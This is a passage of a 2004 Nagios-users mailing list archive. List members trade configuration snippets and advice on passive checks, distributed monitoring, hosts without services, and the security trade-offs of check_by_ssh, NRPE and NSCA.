HANDLER: sherpa;service test;OK;HARD;1;notify-smarts This is Nagios 1.2 on Solaris 8. The relevent host definitions are listed below. define hostgroup { hostgroup_name forsythe-testing-group alias Forsythe Sun Test System contact_groups forsythe-sun-admin-mail members sherpa } define host { host_name sherpa alias sherpa address sherpa.stanford.edu check_command check-host-alive max_check_attempts 3 notification_interval 15 notification_period 24x7 notification_options d,u,r } define service { host_name sherpa service_description service test check_command check_http max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 check_period 24x7 notification_interval 15 notification_options w,u,c,r notification_period 24x7 contact_groups forsythe-sun-admin-mail } ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cliff at proteris.com Mon Mar 29 21:38:15 2004 From: cliff at proteris.com (Cliff Riggs) Date: Mon, 29 Mar 2004 14:38:15 -0500 Subject: New to list - searchable archive? Message-ID: <9F1D4C4C-81B8-11D8-ACCB-000A95686FB4@proteris.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, I would first like to thank the developers of Nagios - I am constantly impressed by its flexibility and power. I have just recently joined this list and have a specific question on distributed monitoring. I have visited the page at http://sourceforge.net/mailarchive/forum.php?forum=nagios-users and I was wondering if there were a searchable list hosted elsewhere (or even if I'm missing a big "search" button on that page!). I have spent some time going backwards in time on a day by day basis, but it is not very efficient work I'm afraid. Thank you! Cliff - -- - -------------------------------------------- Clifford Riggs CCIE #9314, CISSP - -------------------------------------------- Proteris Group LLC Information Security Consultants Trust. Expertise. Results. - -------------------------------------------- www.proteris.com - -------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAaHsnJ3mHWY7troQRAjpbAJ9ZGH0vwNO9O/2tj5UmoQFgXw6IoQCgv2Dt DH7kZPjTbO8zDSGiXgVGygI= =eYnX -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Stanley.Hopcroft at IPAustralia.Gov.AU Tue Mar 30 00:41:53 2004 From: Stanley.Hopcroft at IPAustralia.Gov.AU (Stanley Hopcroft) Date: Tue, 30 Mar 2004 08:41:53 +1000 Subject: Searchable archive of Nag users In-Reply-To: ; from nagios-users-request@lists.sourceforge.net on Mon, Mar 29, 2004 at 12:29:05PM -0800 References: Message-ID: <20040330084152.A240@IPAustralia.Gov.AU> Dear Folks, A searchable archive of postings to Nag users is > > Message: 31 > To: nagios-users at lists.sourceforge.net > From: Cliff Riggs > Date: Mon, 29 Mar 2004 14:38:15 -0500 > Subject: [Nagios-users] New to list - searchable archive? > .. snip .. > I have visited the page at > http://sourceforge.net/mailarchive/forum.php?forum=nagios-users and I > was wondering if there were a searchable list hosted elsewhere (or even > if I'm missing a big "search" button on that page!). at http://search.gmane.org/ To search Nag users - always a good piece of advice before posting - 1 group name is gmane.network.nagios.user 2 search phrase is probably inclusive or of each word you type eg a search for "searchable archive" returns Gmane Search for words searchable archive______________________ Written by ________________________________________ Email addresses only In group gmane.network.nagios.user_______________ Search >> Sort by Relevance: ( ) Date: (*) Searched gmane.network.nagios.user for searchable archive; 4 matching articles. Results 1-4 . 13,947,933 articles searched in 0.006234 seconds. 1. Re: New to list - searchable archive? (6) Jason Martin toger.us> (Mar 29 2004 22:13:56 CEST) Hash: SHA1 There is a search button on the wide of the upper left side of that page, although SF's search function is of questionable value. - -Jason Martin On Mon, 29 Mar 2004, Cliff Riggs wrote: -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8D ... gmane.network.nagios.user:18898 2. RE: New to list - searchable archive? (6) "Marc Powell" ena.com> (Mar 29 2004 16:26:25 CEST) Left hand column, beneath the sourceFORGE.net logo and above 'SF.net Subscription'. Container is labeled 'Search' and the default option is 'This Mailing List'. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, Pres ... gmane.network.nagios.user:18897 If you wanted to follow the rather interesting recent thread about check_by_ssh, a search for check_by_ssh does the right thing (TM). HTH Yours sincerely. -- ------------------------------------------------------------------------ Stanley Hopcroft ------------------------------------------------------------------------ '...No man is an island, entire of itself; every man is a piece of the continent, a part of the main. If a clod be washed away by the sea, Europe is the less, as well as if a promontory were, as well as if a manor of thy friend's or of thine own were. Any man's death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee...' from Meditation 17, J Donne. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zaineb.de.souza at consultant.volvo.com Tue Mar 30 01:21:49 2004 From: zaineb.de.souza at consultant.volvo.com (De Souza Zaineb) Date: Tue, 30 Mar 2004 07:21:49 +0800 Subject: host, no service Message-ID: I use to do this but now I find with so many hosts, my load is too much, which was causing all sorts of problems. Is there any disadvantage of having no services defined for a host, other than have a warning when u check the configuration files. -Zaineb -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Quanah Gibson-Mount Sent: Monday, 29 March 2004 7:05 PM To: Martinez Gonzalez, Francisco; nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] host, no service --On Monday, March 29, 2004 10:17 AM +0200 "Martinez Gonzalez, Francisco" wrote: > > Hello, > > A question: > > If one host has not active services associated with him (only has > pasives), when does the host check? It doesn't. So I create "ping" services right now to handle this scenario. --Quanah -- Quanah Gibson-Mount Principal Software Developer ITSS/TSS/Computing Systems ITSS/TSS/Infrastructure Operations Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cliff at proteris.com Tue Mar 30 01:25:04 2004 From: cliff at proteris.com (Cliff Riggs) Date: Mon, 29 Mar 2004 18:25:04 -0500 Subject: Passive service checks not being accepted by primary? In-Reply-To: References: Message-ID: <4EBC9156-81D8-11D8-ACCB-000A95686FB4@proteris.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thank you to Demetri and Marc for the troubleshooting tips. I have the following configuration in my nagios.cfg file on the primary: log_passive_service_checks=1 accept_passive_service_checks=1 I forgot to include it, but the 'generic-services' for services on the primary looks like this: # Generic service definition template define service{ name generic-service active_checks_enabled 1 passive_checks_enabled 1 parallelize_check 1 obsess_over_service 1 check_freshness 0 notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 1 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 1 register 0 } I don't recall making any changes to that section of the services file, but I did check for the 'passive_checks_enabled' command during my troubleshooting. I did create a "check_dummy" command definition and apply it to my primary host 'check_command' as Demetri suggested, but I did not yet enable freshness checking as defined in the documentation. My understanding of the documentation was that this was an add-on to make sure you are regularly receiving updates from the remote server and not essential to accepting passive service checks. I look forward to configuring it when I get this working though! The remote server does have the 'ocsp_command=submit_check_result' configured in its .cfg file and as far as I can tell, as posted in my original email, service checks are being correctly sent to the primary monitoring server and received in the inbound interface. Speaking of interfaces, I have also configured the NSCA.cfg file with the 'server_address=' of the IP address of the interface on the monitoring server. As for logging, I have syslog-ng configured and I can move messages around pretty easily. I don't see any logs that look like they are coming from NSCA, however, judging from the search button episode, I doubt my ability to find obvious things :) Thank you for your assistance and patience in this! Cliff - -- - -------------------------------------------- Clifford Riggs CCIE #9314, CISSP - -------------------------------------------- Proteris Group LLC Information Security Consultants Trust. Expertise. Results. - -------------------------------------------- www.proteris.com 1.877.888.9063 - -------------------------------------------- On Mar 29, 2004, at 4:53 PM, Demetri Mouratis wrote: > Start here: > > http://nagios.sourceforge.net/docs/1_0/distributed.html > > And follow the tips inline below. > > On Mon, 29 Mar 2004, Cliff Riggs wrote: > >> I am having a problem with a primary Nagios server accepting passive >> service checks from a remote Nagios server behind a firewall that is >> performing NAT. The remote server is sending checks OK, and using >> tcpdump I can see the checks being accepted by the primary server >> inbound on the interface. The Nagios process however, does not update >> with the results of the passive check. > >> Primary: >> # 'TEST Router' host definition >> define host{ >> use generic-host ; Name of >> host >> template to use >> >> host_name cisco-test >> alias TEST Router >> address >> check_command check-host-alive >> parents 3660-router >> max_check_attempts 3 >> notification_interval 60 >> notification_period 24x7 >> notification_options d,u,r >> } > > You want to change the host check_command on the primary to > check_dummy. > At least this was how I configured mine as there was no public IP for > me > to check from the Nagios segment of my network, through the firewall, > to > the remote hosts on a different segment. > >> Remote: >> # 'TEST Router' host definition >> define host{ >> use generic-host ; Name of >> host >> template to use >> >> host_name cisco-test >> alias TEST Router >> address 192.168.1.1 >> check_command check-host-alive >> parents 3660-router >> max_check_attempts 3 >> notification_interval 60 >> notification_period 24x7 >> notification_options d,u,r >> } > > This is correct except you are not going to do any notifications from > the > remote nagios instance so you don't need any of the notification > options. > >> The service is also defined on the primary as follows: >> >> Primary: >> # Service definition >> define service{ >> use generic-service ; >> Name >> of service template to use >> >> host_name cisco-test >> service_description PING >> active_checks_enabled 0 >> is_volatile 0 >> check_period 24x7 >> max_check_attempts 3 >> normal_check_interval 3 >> retry_check_interval 1 >> contact_groups admins >> notification_interval 120 >> notification_period 24x7 >> notification_options w,u,c,r >> check_command >> check_ping!100.0,20%!500.0,60% >> } >> > > You want to change this service check_command on the primary to > service-is-stale as defined in the distributed monitoring > documentation. > Make sure to enable accept_passive_service_checks=1. > > You then need to above the service definition to the *remote* host and > use the check_command you have setup immediately above. > > Make sure to enable ocsp_command=submit_check_result on the remote > nagios > server. > > HTH. > --------------------------------------------------------------------- > Demetri Mouratis > dmourati at linfactory.com > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAaLBQJ3mHWY7troQRAuPaAKCrYYohe6k0gTyDZHVp2jaHFw4rEwCfVEJM 6/0A7ZzcVnOX5p2qSYSb6q4= =ZL4u -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From quanah at stanford.edu Tue Mar 30 01:26:38 2004 From: quanah at stanford.edu (Quanah Gibson-Mount) Date: Mon, 29 Mar 2004 15:26:38 -0800 Subject: host, no service In-Reply-To: References: Message-ID: <2694707704.1080573998@cadabra.stanford.edu> --On Tuesday, March 30, 2004 7:21 AM +0800 De Souza Zaineb wrote: > I use to do this but now I find with so many hosts, my load is too much, > which was causing all sorts of problems. > Is there any disadvantage of having no services defined for a host, > other than have a warning when u check the configuration files. You don't get any notifications. --Quanah -- Quanah Gibson-Mount Principal Software Developer ITSS/TSS/Computing Systems ITSS/TSS/Infrastructure Operations Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Tue Mar 30 01:27:07 2004 From: jhmartin at toger.us (Jason Martin) Date: Mon, 29 Mar 2004 15:27:07 -0800 (PST) Subject: host, no service In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nagios will never check a host that has no services. It doesn't really hurt anything though. - -Jason Martin On Tue, 30 Mar 2004, De Souza Zaineb wrote: > I use to do this but now I find with so many hosts, my load is too much, > which was causing all sorts of problems. > Is there any disadvantage of having no services defined for a host, > other than have a warning when u check the configuration files. > -Zaineb > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Quanah > Gibson-Mount > Sent: Monday, 29 March 2004 7:05 PM > To: Martinez Gonzalez, Francisco; nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] host, no service > > > > --On Monday, March 29, 2004 10:17 AM +0200 "Martinez Gonzalez, > Francisco" > wrote: > > > > > Hello, > > > > A question: > > > > If one host has not active services associated with him (only has > > pasives), when does the host check? > > It doesn't. So I create "ping" services right now to handle this > scenario. > > --Quanah > > -- > Quanah Gibson-Mount > Principal Software Developer > ITSS/TSS/Computing Systems > ITSS/TSS/Infrastructure Operations > Stanford University > GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux > tutorial presented by Daniel Robbins, President and CEO of GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAaLDxl2ODWuqVSBMRArsjAJ9j1kminpdzd0XP5RrXtcAhGyubFACeKqBl 3RSX/GIiB/aBwH9ES8VNBls= =90K7 -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From steve.atwal at ubc.ca Tue Mar 30 01:25:20 2004 From: steve.atwal at ubc.ca (Atwal, Steve) Date: Mon, 29 Mar 2004 15:25:20 -0800 Subject: Nagios Client Agent Setup Message-ID: <943B458A6A6E0540AD7D80D78DE371040367E08F@exchange3.ubc.ca> I'm getting the following error: "It appears as though you do not have permission to view information for any of the services you requested... If you believe this is an error, check the HTTP server authentication requirements for accessing this CGI and check the authorization options in your CGI configuration file." Does this mean that: - client agents are not installed on the machines to be monitored? If so, can someone point me to the right place to configure the client agent portion for the machines to be monitored? I believe I have everything else setup. Thanks Steve ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zaineb.de.souza at consultant.volvo.com Tue Mar 30 01:33:55 2004 From: zaineb.de.souza at consultant.volvo.com (De Souza Zaineb) Date: Tue, 30 Mar 2004 07:33:55 +0800 Subject: host, no service Message-ID: Although I don't get notifications for a service check don't I get one if a host goes down? Cause I did remove some service checks and still gettting valid notifications. BTW does anyone know of a suitable service check other than pinging for a router? Thanks Zaineb -----Original Message----- From: Quanah Gibson-Mount [mailto:quanah at stanford.edu] Sent: Tuesday, 30 March 2004 9:27 AM To: De Souza Zaineb; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] host, no service --On Tuesday, March 30, 2004 7:21 AM +0800 De Souza Zaineb wrote: > I use to do this but now I find with so many hosts, my load is too > much, which was causing all sorts of problems. > Is there any disadvantage of having no services defined for a host, > other than have a warning when u check the configuration files. You don't get any notifications. --Quanah -- Quanah Gibson-Mount Principal Software Developer ITSS/TSS/Computing Systems ITSS/TSS/Infrastructure Operations Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Tue Mar 30 01:39:15 2004 From: jhmartin at toger.us (Jason Martin) Date: Mon, 29 Mar 2004 15:39:15 -0800 (PST) Subject: host, no service In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Routers usually support some sort of icmp interface. - -Jason Martin On Tue, 30 Mar 2004, De Souza Zaineb wrote: > Although I don't get notifications for a service check don't I get one > if a host goes down? Cause I did remove some service checks and still > gettting valid notifications. > BTW does anyone know of a suitable service check other than pinging for > a router? > Thanks > Zaineb > > -----Original Message----- > From: Quanah Gibson-Mount [mailto:quanah at stanford.edu] > Sent: Tuesday, 30 March 2004 9:27 AM > To: De Souza Zaineb; nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] host, no service > > > > --On Tuesday, March 30, 2004 7:21 AM +0800 De Souza Zaineb > wrote: > > > I use to do this but now I find with so many hosts, my load is too > > much, which was causing all sorts of problems. > > Is there any disadvantage of having no services defined for a host, > > other than have a warning when u check the configuration files. > > You don't get any notifications. > > --Quanah > > -- > Quanah Gibson-Mount > Principal Software Developer > ITSS/TSS/Computing Systems > ITSS/TSS/Infrastructure Operations > Stanford University > GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAaLOnl2ODWuqVSBMRAii5AJ9/Unz2vXFGFNc1xxbUKLn8xJ4JtQCgmAbx QNhPuBdd3+bUTdvdbkIN72E= =kqu3 -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cliff at proteris.com Mon Mar 29 21:38:48 2004 From: cliff at proteris.com (Cliff Riggs) Date: Mon, 29 Mar 2004 14:38:48 -0500 Subject: New to list - searchable archive? Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, I would first like to thank the developers of Nagios - I am constantly impressed by its flexibility and power. I have just recently joined this list and have a specific question on distributed monitoring. I have visited the page at http://sourceforge.net/mailarchive/forum.php?forum=nagios-users and I was wondering if there were a searchable list hosted elsewhere (or even if I'm missing a big "search" button on that page!). I have spent some time going backwards in time on a day by day basis, but it is not very efficient work I'm afraid. Thank you! Cliff - -- - -------------------------------------------- Clifford Riggs CCIE #9314, CISSP - -------------------------------------------- Proteris Group LLC Information Security Consultants Trust. Expertise. Results. - -------------------------------------------- www.proteris.com - -------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAaHtIJ3mHWY7troQRAmH5AKDBh3GhwS4ZV8Q6CWx8BFsFm0fC1wCdFSOt SRKz0i9BcP7IeHNiIkU2gI8= =393k -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Tue Mar 30 02:00:18 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 30 Mar 2004 01:00:18 +0100 Subject: check_by_ssh question In-Reply-To: References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> <20040326113545.16764.qmail@minnow.softflare.net> <40642592.3010006@op5.se> <20040326154523.6635.qmail@minnow.softflare.net> <406571D6.3030904@op5.se> <20040329015432.13151.qmail@minnow.softflare.net> Message-ID: <20040330000018.4786.qmail@minnow.softflare.net> Arnold Cano writes: > I have successfully migrated my nagios installation completely to > check_by_ssh from nrpe. I did that months ago. And then I migrated from NRPE to NCSA. > I am very pleased because it allows me to have uniform and secure way > of maintaining the installations over my windows and linux hosts. It has its problems. It is not uniform because the configuration of the NRPE daemon is very different from that of NCSA itself. It has the advantage that you can run NRPE on a firewall (more secure, on a machine protected by a firewall, with port forwarding from the firewall to the NRPE box), whereas check_by_ssh seems to be unable to be chained (or I couldn't figure out the correct syntax to do it). The major disadvantage is it's not really secure at all, even with tcpwappers. Somebody who can eavesdrop your network traffic can send spoofed requests and get the answers. Check_by_ssh is reasonably secure, however there are circumstances which may not apply to most people in which you can compromise the monitoring machine and use the password-less key to mount compromises on monitored machines that you can't compromise any other way. And I couldn't make it chain through check_by_ssh on the monitoring box via check_by_ssh on a firewall to run a plugin on a machine behind the firewall. NCSA is pretty secure in theory (you have to verify or trust that the encryption has been implemented correctly and that the NCSA daemon has no holes). The configuration at each end uses the same syntax and the configs themselves are almost identical barring a few predictable (and automatable) changes. If you have hostgroups you don't want to share a password you can run separate instances on different ports with different config files. It also takes a significant load off the monitoring machine. The downside is that if there is an exploit for the demon then somebody can take over your monitoring box (but they can't go any further if you don't have any passwordless ssh keys on it or other similar holes that reach to other machines). You could also use VPNs, although I have yet to see a VPN technology which is not flawed in a major way. Some of them tunnel TCP over TCP (leading to exponential backoffs when the network is congested, which is a bad thing in general and a very bad thing for Nagios with 10s timeouts). Some (PPTP) use increadibly weak encryption. Some (IPSec) would be almost usable if only they had a standardized method of recovering from network outages (there are kluges that do not require proprietary extensions but there is a major overhead in short rekeying intervals). > There doesn't seem to be much information dealing with indirect checks. It's there, but it's scattered around amongst the docs for reduntant monitoring, failover monitoring and passive service checks. > A little googling will find a new different methods/hacks to this > problem but no "official" howto on this topic even though there is an > entire chapter in the nagios manual on indirect host and service checks. The mailing list has discussed this several times, so it is in the archives. However, something in the documentation would be nice. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Tue Mar 30 02:17:16 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 30 Mar 2004 01:17:16 +0100 Subject: Passive service checks not being accepted by primary? In-Reply-To: <4EBC9156-81D8-11D8-ACCB-000A95686FB4@proteris.com> References: <4EBC9156-81D8-11D8-ACCB-000A95686FB4@proteris.com> Message-ID: <20040330001716.7927.qmail@minnow.softflare.net> Cliff Riggs writes: > log_passive_service_checks=1 > accept_passive_service_checks=1 If it is not possible to perform active checks, you need to disable those for the relevant services. Otherwise if the passive check gets stale the active check will be performed and will probably fail with a plugin timeout. It works that way so you can have distributed monitoring. You can perform the checks directly from the central server but you use distributed checks to reduce the load on it. In this case, if one of the remote servers goes down the central server can take over. Obviously in this case you need enough spare capacity on the central server to cope if one (perhaps more, if you have a lot of remote servers) of the remote servers goes down. Having active checks enabled when they cannot actually be performed will lead to misleading error messages. You'll still know there is a problem, but you'll be misled as to what the problem really is. > I did create a "check_dummy" command definition and apply it to my primary > host 'check_command' as Demetri suggested, but I did not yet enable > freshness checking as defined in the documentation. My understanding of > the documentation was that this was an add-on to make sure you are > regularly receiving updates from the remote server and not essential to > accepting passive service checks. Freshness checking is not essential but it is desirable. Without freshness checking the remote server could die and you wouldn't know there is a problem for a long time, depending exactly on how checks of various services are scheduled (and especially if the remote server submits passive checks for itself). With freshness checking you know if a service check result is overdue. It's not perfect, because you have to allow enough slop in the freshness check interval to cover worst-case shceduling, which is not entirely deterministic. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rscibetti at opensight.net Tue Mar 30 02:27:22 2004 From: rscibetti at opensight.net (Russell Scibetti) Date: Mon, 29 Mar 2004 19:27:22 -0500 Subject: Log Rotation References: <009601c4150e$e61ef350$0500a8c0@KTR><40675913.7090902@op5.se><00f101c41520$0979cad0$0500a8c0@KTR> <20040329072330.3ba391a7.karl@debisschop.net> Message-ID: <00e701c415ed$c513fb30$0500a8c0@KTR> Nope - only one running. It's been running without problem from over a year. Russell ----- Original Message ----- From: "Karl DeBisschop" To: "Russell Scibetti" Cc: ; Sent: Monday, March 29, 2004 7:23 AM Subject: Re: [Nagios-users] Log Rotation > On Sun, 28 Mar 2004 18:54:41 -0500 > "Russell Scibetti" wrote: > > > We noticed the problem because there was a really bad day (lots of > > state changes) that we wanted to review the next day, and the log was > > empty. So there should definitely be contents in the log. > > Isn't this a possible symptom of having multiple daemons running? > > -- > Karl > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of 